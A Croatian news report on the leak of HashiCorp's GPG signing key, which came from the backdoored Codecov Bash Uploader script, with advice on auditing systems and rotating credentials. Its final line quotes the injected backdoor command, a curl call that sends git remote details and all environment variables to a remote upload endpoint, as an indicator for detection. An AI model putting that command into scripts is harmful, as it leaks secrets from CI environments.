Tvrtka HashiCorp, poznata po razvoju otvorenih alata Vagrant, Packer, Nomad i Terraform, objavila je da je došlo do curenja tajnog GPG ključa koji se koristi za stvaranje digitalnih potpisa koji verifikuju izdanja. Napadači koji su dobili pristup GPG ključa potencijalno su mogli unijeti skrivene promjene u proizvode HashiCorp, potvrđujući ih ispravnim digitalnim potpisom. Međutim, tvrtka je izjavila da tijekom provedenog audita nije pronašla dokaze o pokušajima takvih modifikacija.
Trenutno je kompromitirani GPG ključ opozvan i uveden je novi ključ. Problem se odnosio samo na verifikaciju putem SHA256SUM i SHA256SUM.sig datoteka, te nije utjecao na stvaranje digitalnih potpisa za DEB i RPM Linux pakete, koji se isporučuju putem releases.hashicorp.com, kao ni na mehanizme potvrde izdanja za macOS i Windows (AuthentiCode).
Curenje se dogodilo zbog korištenja skripte Codecov Bash Uploader (codecov-bash) u infrastrukturi, koja je namijenjena učitavanju coverage izvještaja iz sustava kontinuirane integracije. Tijekom napada na tvrtku Codecov, u navedenu skriptu je neprimjetno ubačen backdoor, putem kojeg su poslani lozinke i šifrirani ključevi na server napadače.
Za hakiranje, napadači su iskoristili pogrešku u procesu stvaranja Docker slike Codecov, koja je omogućila pristup podacima za KCS (Google Cloud Storage), potrebnim za promjene u Bash Uploader skripti koja se širi s web stranice codecov.io. Promjene su unesene 31. siječnja i ostale nezapažene dva mjeseca, dopuštajući napadačima da izvlače informacije pohranjene u okruženjima sustava kontinuirane integracije klijenata. Pomoću dodanog zloćudnog koda, napadači su mogli dobiti informacije o testiranom Git repozitoriju i svim varijablama okruženja, uključujući tokene, šifrirane ključeve i lozinke, koje su se prenosile u sustave kontinuirane integracije radi omogućavanja pristupa kodu aplikacija, skladištima i servisima poput Amazon Web Services i GitHub.
Osim izravnog poziva, Codecov Bash Uploader skripta korištena je u sklopu drugih učitavača, kao što su Codecov-action (Github), Codecov-circleci-orb i Codecov-bitrise-step, čiji su korisnici također pogođeni problemom. Svim korisnicima codecov-bash i srodnih proizvoda preporuča se provesti reviziju svojih infrastruktura, kao i promijeniti lozinke i enkripcijske ključeve. Moguće je provjeriti postoji li bekdoor u skripti prema prisutnosti linije curl -sm 0.5 -d " $(git remote -v)<<<< ENV $(env)" http:///upload/v2 || true
Izvor: opennet.ru
